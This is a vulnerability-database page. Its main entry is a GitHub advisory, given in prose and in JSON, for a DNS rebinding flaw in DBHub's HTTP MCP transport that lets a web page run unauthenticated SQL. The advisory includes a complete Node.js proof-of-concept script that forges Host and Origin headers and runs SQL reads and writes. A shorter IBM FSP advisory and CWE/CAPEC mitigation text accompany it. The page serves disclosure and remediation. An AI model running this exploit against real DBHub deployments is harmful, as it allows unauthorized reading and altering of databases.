CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-24T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The POWER systems FSP is vulnerable to unauthenticated logins through the serial port/TTY interface. This vulnerability can be more critical if the serial port is connected to a serial-over-lan device. IBM X-Force ID: 217095.",
  "id": "GHSA-fm4m-hvph-44cw",
  "modified": "2022-06-22T00:00:48Z",
  "published": "2022-05-25T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22309"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/217095"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6589099"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FM8P-53WW-HF6W

Vulnerability from github – Published: 2026-09-24 19:36 – Updated: 2026-09-24 19:36
VLAI
Summary
DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution
Details

Summary

DBHub 0.21.2 exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example --transport http --port 8080.

The HTTP server attempts to protect browser-origin access by checking whether the Origin hostname equals the Host hostname, then reflecting the validated Origin into Access-Control-Allow-Origin. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both Origin and Host can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.

As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.

Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.

Details

Affected target:

  • Package: @bytebase/dbhub
  • Version tested: 0.21.2
  • Repository commit tested: 72adfdcf7bcfe46b25edbc776ce096006eba9b02
  • Affected mode: HTTP transport (--transport http)
  • Default package transport: stdio
  • Not affected by this specific browser-origin vector: stdio transport

Relevant code path: src/server.ts

The HTTP server installs a middleware that:

  1. reads req.headers.origin;
  2. extracts the hostname from req.headers.host;
  3. parses the hostname from Origin;
  4. rejects only when the two hostnames differ;
  5. reflects the validated Origin into Access-Control-Allow-Origin;
  6. enables credentials with Access-Control-Allow-Credentials: true.

Relevant code:

const origin = req.headers.origin;

if (origin) {
  const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
  try {
    const originHost = new URL(origin).hostname.toLowerCase();
    if (originHost !== host) {
      return res.status(403).json({
        error: 'Forbidden',
        message: 'Origin does not match Host header (DNS rebinding protection)',
      });
    }
  } catch {
    return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });
  }
}

res.header('Access-Control-Allow-Origin', origin || 'http://localhost');
res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
res.header('Access-Control-Allow-Credentials', 'true');

This blocks a simple cross-origin request such as:

Host: localhost:8080
Origin: http://attacker.example

However, it accepts the DNS rebinding request shape:

Host: dbhub-rebind.example:8080
Origin: http://dbhub-rebind.example

In a browser attack, the victim visits an attacker-controlled page such as http://dbhub-rebind.example:8080. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.

No authorization token, per-server secret, or CSRF-style capability is required before /mcp accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.

Suggested remediation:

  • Bind HTTP transport to 127.0.0.1 by default and require explicit opt-in for 0.0.0.0 or non-loopback hosts.
  • Add an explicit allowed-hosts policy instead of accepting arbitrary Host values because Origin has the same hostname.
  • Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.
  • Require an authentication token or CSRF-style capability before dispatching /mcp JSON-RPC methods.
  • Consider rejecting browser-origin requests whose Host is not a configured loopback hostname or configured deployment hostname.

PoC

The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.

Requirements:

  • Node.js 20 or newer
  • npm/npx access to install @bytebase/dbhub@0.21.2
  • An available local TCP port selected by the script

Save the following as dbhub-dns-rebinding-poc.mjs and run:

node dbhub-dns-rebinding-poc.mjs

The script starts DBHub 0.21.2 in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.

import { spawn } from "node:child_process";
import http from "node:http";
import net from "node:net";

const attackerHost = "dbhub-rebind.example";
const port = await pickFreePort();
const launch = dbhubLaunchCommand(port);

const server = spawn(
  launch.command,
  launch.args,
  {
    stdio: ["ignore", "pipe", "pipe"],
  },
);

let stdout = "";
let stderr = "";
server.stdout.on("data", (chunk) => {
  stdout += chunk.toString();
});
server.stderr.on("data", (chunk) => {
  stderr += chunk.toString();
});

try {
  await waitForDbhub(port);

  const blocked = await postMcp("blocked", "tools/list", {}, {
    Host: `localhost:${port}`,
    Origin: "http://attacker.example",
  });

  const rebindHeaders = {
    Host: `${attackerHost}:${port}`,
    Origin: `http://${attackerHost}`,
  };

  const list = await postMcp("list", "tools/list", {}, rebindHeaders);

  const read = await postMcp("read", "tools/call", {
    name: "execute_sql",
    arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" },
  }, rebindHeaders);

  const write = await postMcp("write", "tools/call", {
    name: "execute_sql",
    arguments: {
      sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;",
    },
  }, rebindHeaders);

  const result = {
    port,
    blocked: summarize(blocked),
    rebindToolsList: summarize(list),
    rebindRead: summarize(read),
    rebindWrite: summarize(write),
    reproduced:
      blocked.statusCode === 403 &&
      list.statusCode === 200 &&
      list.acao === `http://${attackerHost}` &&
      read.statusCode === 200 &&
      read.body.includes("STANDALONE_REBIND_CANARY") &&
      write.statusCode === 200 &&
      write.body.includes("rows_written"),
  };

  console.log(JSON.stringify(result, null, 2));
  if (!result.reproduced) {
    process.exitCode = 1;
  }
} finally {
  await stopServer(server);
}

async function postMcp(id, method, params, headers) {
  const body = JSON.stringify({ jsonrpc: "2.0", id, method, params });
  return await new Promise((resolve, reject) => {
    const req = http.request(
      {
        hostname: "127.0.0.1",
        port,
        path: "/mcp",
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          "Accept": "application/json, text/event-stream",
          "Content-Length": Buffer.byteLength(body),
          ...headers,
        },
      },
      (res) => {
        let data = "";
        res.setEncoding("utf8");
        res.on("data", (chunk) => { data += chunk; });
        res.on("end", () => {
          resolve({
            statusCode: res.statusCode,
            acao: res.headers["access-control-allow-origin"] || null,
            body: data,
          });
        });
      },
    );
    req.on("error", reject);
    req.write(body);
    req.end();
  });
}

async function waitForDbhub(port) {
  const deadline = Date.now() + 45_000;
  while (Date.now() < deadline) {
    if (server.exitCode !== null) {
      throw new Error(`DBHub exited early with code ${server.exitCode}\nstdout:\n${stdout}\nstderr:\n${stderr}`);
    }
    try {
      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);
      if (response.statusCode === 200) return;
    } catch {
      // keep waiting
    }
    await new Promise((resolve) => setTimeout(resolve, 500));
  }
  throw new Error(`DBHub did not become ready\nstdout:\n${stdout}\nstderr:\n${stderr}`);
}

async function httpGet(url) {
  return await new Promise((resolve, reject) => {
    const req = http.get(url, (res) => {
      res.resume();
      res.on("end", () => resolve({ statusCode: res.statusCode }));
    });
    req.on("error", reject);
    req.setTimeout(2_000, () => {
      req.destroy(new Error("timeout"));
    });
  });
}

async function pickFreePort() {
  return await new Promise((resolve, reject) => {
    const server = net.createServer();
    server.listen(0, "127.0.0.1", () => {
      const address = server.address();
      const selected = address.port;
      server.close(() => resolve(selected));
    });
    server.on("error", reject);
  });
}

function summarize(result) {
  return {
    statusCode: result.statusCode,
    acao: result.acao,
    body: result.body.slice(0, 900),
  };
}

function dbhubLaunchCommand(port) {
  if (process.platform === "win32") {
    return {
      command: "cmd.exe",
      args: [
        "/d",
        "/s",
        "/c",
        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,
      ],
    };
  }
  return {
    command: "npx",
    args: ["-y", "@bytebase/dbhub@0.21.2", "--transport", "http", "--port", String(port), "--demo"],
  };
}

async function stopServer(child) {
  if (!child.pid || child.exitCode !== null) return;
  if (process.platform === "win32") {
    await new Promise((resolve) => {
      const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" });
      killer.on("exit", resolve);
      killer.on("error", resolve);
    });
    return;
  }
  child.kill("SIGTERM");
}

Expected output:

  • blocked.statusCode is 403.
  • rebindToolsList.statusCode is 200.
  • rebindToolsList.acao is http://dbhub-rebind.example.
  • rebindRead.body contains STANDALONE_REBIND_CANARY.
  • rebindWrite.body contains rows_written.
  • reproduced is true.

This PoC simulates the post-rebinding request shape by connecting to 127.0.0.1 while sending the attacker-controlled Host and Origin headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.

Impact

An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.

If DBHub is connected to a real database, the attacker can:

  • list DBHub MCP tools exposed by the server;
  • execute execute_sql;
  • enumerate tables and schemas;
  • read database contents;
  • run write queries when execute_sql is not configured as read-only;
  • read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;
  • exfiltrate query results through normal browser egress.

This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.

The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@bytebase/dbhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:36:57Z",
    "nvd_published_at": "2026-09-24T18:17:16Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nDBHub `0.21.2` exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`.\n\nThe HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.\n\nAs a result, a malicious website can deterministically invoke DBHub MCP tools from the victim\u0027s browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub\u0027s configured tool permissions and database credentials.\n\nRecommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.\n\n### Details\n\nAffected target:\n\n- Package: `@bytebase/dbhub`\n- Version tested: `0.21.2`\n- Repository commit tested: `72adfdcf7bcfe46b25edbc776ce096006eba9b02`\n- Affected mode: HTTP transport (`--transport http`)\n- Default package transport: stdio\n- Not affected by this specific browser-origin vector: stdio transport\n\nRelevant code path: `src/server.ts`\n\nThe HTTP server installs a middleware that:\n\n1. reads `req.headers.origin`;\n2. extracts the hostname from `req.headers.host`;\n3. parses the hostname from `Origin`;\n4. rejects only when the two hostnames differ;\n5. reflects the validated `Origin` into `Access-Control-Allow-Origin`;\n6. enables credentials with `Access-Control-Allow-Credentials: true`.\n\nRelevant code:\n\n```ts\nconst origin = req.headers.origin;\n\nif (origin) {\n  const host = (req.headers.host ?? \u0027\u0027).split(\u0027:\u0027)[0].toLowerCase();\n  try {\n    const originHost = new URL(origin).hostname.toLowerCase();\n    if (originHost !== host) {\n      return res.status(403).json({\n        error: \u0027Forbidden\u0027,\n        message: \u0027Origin does not match Host header (DNS rebinding protection)\u0027,\n      });\n    }\n  } catch {\n    return res.status(400).json({ error: \u0027Bad Request\u0027, message: \u0027Malformed Origin header\u0027 });\n  }\n}\n\nres.header(\u0027Access-Control-Allow-Origin\u0027, origin || \u0027http://localhost\u0027);\nres.header(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027);\nres.header(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type, Mcp-Session-Id\u0027);\nres.header(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\nThis blocks a simple cross-origin request such as:\n\n```http\nHost: localhost:8080\nOrigin: http://attacker.example\n```\n\nHowever, it accepts the DNS rebinding request shape:\n\n```http\nHost: dbhub-rebind.example:8080\nOrigin: http://dbhub-rebind.example\n```\n\nIn a browser attack, the victim visits an attacker-controlled page such as `http://dbhub-rebind.example:8080`. The attacker initially resolves that hostname to the attacker\u0027s web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.\n\nNo authorization token, per-server secret, or CSRF-style capability is required before `/mcp` accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.\n\nSuggested remediation:\n\n- Bind HTTP transport to `127.0.0.1` by default and require explicit opt-in for `0.0.0.0` or non-loopback hosts.\n- Add an explicit allowed-hosts policy instead of accepting arbitrary `Host` values because `Origin` has the same hostname.\n- Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.\n- Require an authentication token or CSRF-style capability before dispatching `/mcp` JSON-RPC methods.\n- Consider rejecting browser-origin requests whose `Host` is not a configured loopback hostname or configured deployment hostname.\n\n### PoC\n\nThe following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.\n\nRequirements:\n\n- Node.js 20 or newer\n- npm/npx access to install `@bytebase/dbhub@0.21.2`\n- An available local TCP port selected by the script\n\nSave the following as `dbhub-dns-rebinding-poc.mjs` and run:\n\n```bash\nnode dbhub-dns-rebinding-poc.mjs\n```\n\nThe script starts DBHub `0.21.2` in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.\n\n```js\nimport { spawn } from \"node:child_process\";\nimport http from \"node:http\";\nimport net from \"node:net\";\n\nconst attackerHost = \"dbhub-rebind.example\";\nconst port = await pickFreePort();\nconst launch = dbhubLaunchCommand(port);\n\nconst server = spawn(\n  launch.command,\n  launch.args,\n  {\n    stdio: [\"ignore\", \"pipe\", \"pipe\"],\n  },\n);\n\nlet stdout = \"\";\nlet stderr = \"\";\nserver.stdout.on(\"data\", (chunk) =\u003e {\n  stdout += chunk.toString();\n});\nserver.stderr.on(\"data\", (chunk) =\u003e {\n  stderr += chunk.toString();\n});\n\ntry {\n  await waitForDbhub(port);\n\n  const blocked = await postMcp(\"blocked\", \"tools/list\", {}, {\n    Host: `localhost:${port}`,\n    Origin: \"http://attacker.example\",\n  });\n\n  const rebindHeaders = {\n    Host: `${attackerHost}:${port}`,\n    Origin: `http://${attackerHost}`,\n  };\n\n  const list = await postMcp(\"list\", \"tools/list\", {}, rebindHeaders);\n\n  const read = await postMcp(\"read\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: { sql: \"select \u0027STANDALONE_REBIND_CANARY\u0027 as proof\" },\n  }, rebindHeaders);\n\n  const write = await postMcp(\"write\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: {\n      sql: \"create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values(\u0027standalone write proof\u0027); select count(*) as rows_written from dns_rebind_probe;\",\n    },\n  }, rebindHeaders);\n\n  const result = {\n    port,\n    blocked: summarize(blocked),\n    rebindToolsList: summarize(list),\n    rebindRead: summarize(read),\n    rebindWrite: summarize(write),\n    reproduced:\n      blocked.statusCode === 403 \u0026\u0026\n      list.statusCode === 200 \u0026\u0026\n      list.acao === `http://${attackerHost}` \u0026\u0026\n      read.statusCode === 200 \u0026\u0026\n      read.body.includes(\"STANDALONE_REBIND_CANARY\") \u0026\u0026\n      write.statusCode === 200 \u0026\u0026\n      write.body.includes(\"rows_written\"),\n  };\n\n  console.log(JSON.stringify(result, null, 2));\n  if (!result.reproduced) {\n    process.exitCode = 1;\n  }\n} finally {\n  await stopServer(server);\n}\n\nasync function postMcp(id, method, params, headers) {\n  const body = JSON.stringify({ jsonrpc: \"2.0\", id, method, params });\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        hostname: \"127.0.0.1\",\n        port,\n        path: \"/mcp\",\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n          \"Accept\": \"application/json, text/event-stream\",\n          \"Content-Length\": Buffer.byteLength(body),\n          ...headers,\n        },\n      },\n      (res) =\u003e {\n        let data = \"\";\n        res.setEncoding(\"utf8\");\n        res.on(\"data\", (chunk) =\u003e { data += chunk; });\n        res.on(\"end\", () =\u003e {\n          resolve({\n            statusCode: res.statusCode,\n            acao: res.headers[\"access-control-allow-origin\"] || null,\n            body: data,\n          });\n        });\n      },\n    );\n    req.on(\"error\", reject);\n    req.write(body);\n    req.end();\n  });\n}\n\nasync function waitForDbhub(port) {\n  const deadline = Date.now() + 45_000;\n  while (Date.now() \u003c deadline) {\n    if (server.exitCode !== null) {\n      throw new Error(`DBHub exited early with code ${server.exitCode}\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n    }\n    try {\n      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);\n      if (response.statusCode === 200) return;\n    } catch {\n      // keep waiting\n    }\n    await new Promise((resolve) =\u003e setTimeout(resolve, 500));\n  }\n  throw new Error(`DBHub did not become ready\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n}\n\nasync function httpGet(url) {\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.get(url, (res) =\u003e {\n      res.resume();\n      res.on(\"end\", () =\u003e resolve({ statusCode: res.statusCode }));\n    });\n    req.on(\"error\", reject);\n    req.setTimeout(2_000, () =\u003e {\n      req.destroy(new Error(\"timeout\"));\n    });\n  });\n}\n\nasync function pickFreePort() {\n  return await new Promise((resolve, reject) =\u003e {\n    const server = net.createServer();\n    server.listen(0, \"127.0.0.1\", () =\u003e {\n      const address = server.address();\n      const selected = address.port;\n      server.close(() =\u003e resolve(selected));\n    });\n    server.on(\"error\", reject);\n  });\n}\n\nfunction summarize(result) {\n  return {\n    statusCode: result.statusCode,\n    acao: result.acao,\n    body: result.body.slice(0, 900),\n  };\n}\n\nfunction dbhubLaunchCommand(port) {\n  if (process.platform === \"win32\") {\n    return {\n      command: \"cmd.exe\",\n      args: [\n        \"/d\",\n        \"/s\",\n        \"/c\",\n        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,\n      ],\n    };\n  }\n  return {\n    command: \"npx\",\n    args: [\"-y\", \"@bytebase/dbhub@0.21.2\", \"--transport\", \"http\", \"--port\", String(port), \"--demo\"],\n  };\n}\n\nasync function stopServer(child) {\n  if (!child.pid || child.exitCode !== null) return;\n  if (process.platform === \"win32\") {\n    await new Promise((resolve) =\u003e {\n      const killer = spawn(\"taskkill.exe\", [\"/pid\", String(child.pid), \"/t\", \"/f\"], { stdio: \"ignore\" });\n      killer.on(\"exit\", resolve);\n      killer.on(\"error\", resolve);\n    });\n    return;\n  }\n  child.kill(\"SIGTERM\");\n}\n```\n\nExpected output:\n\n- `blocked.statusCode` is `403`.\n- `rebindToolsList.statusCode` is `200`.\n- `rebindToolsList.acao` is `http://dbhub-rebind.example`.\n- `rebindRead.body` contains `STANDALONE_REBIND_CANARY`.\n- `rebindWrite.body` contains `rows_written`.\n- `reproduced` is `true`.\n\nThis PoC simulates the post-rebinding request shape by connecting to `127.0.0.1` while sending the attacker-controlled `Host` and `Origin` headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.\n\n### Impact\n\nAn attacker who can get a victim to visit a malicious web page can make the victim\u0027s browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.\n\nIf DBHub is connected to a real database, the attacker can:\n\n- list DBHub MCP tools exposed by the server;\n- execute `execute_sql`;\n- enumerate tables and schemas;\n- read database contents;\n- run write queries when `execute_sql` is not configured as read-only;\n- read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;\n- exfiltrate query results through normal browser egress.\n\nThis does not require prompt injection, a compromised AI client, or prior access to the victim\u0027s internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.\n\nThe affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.",
  "id": "GHSA-fm8p-53ww-hf6w",
  "modified": "2026-09-24T19:36:57Z",
  "published": "2026-09-24T19:36:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/pull/340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/commit/5bf5c3242a22e94871dfdf53913c84a5025b7381"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytebase/dbhub"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/releases/tag/v0.22.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution"
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list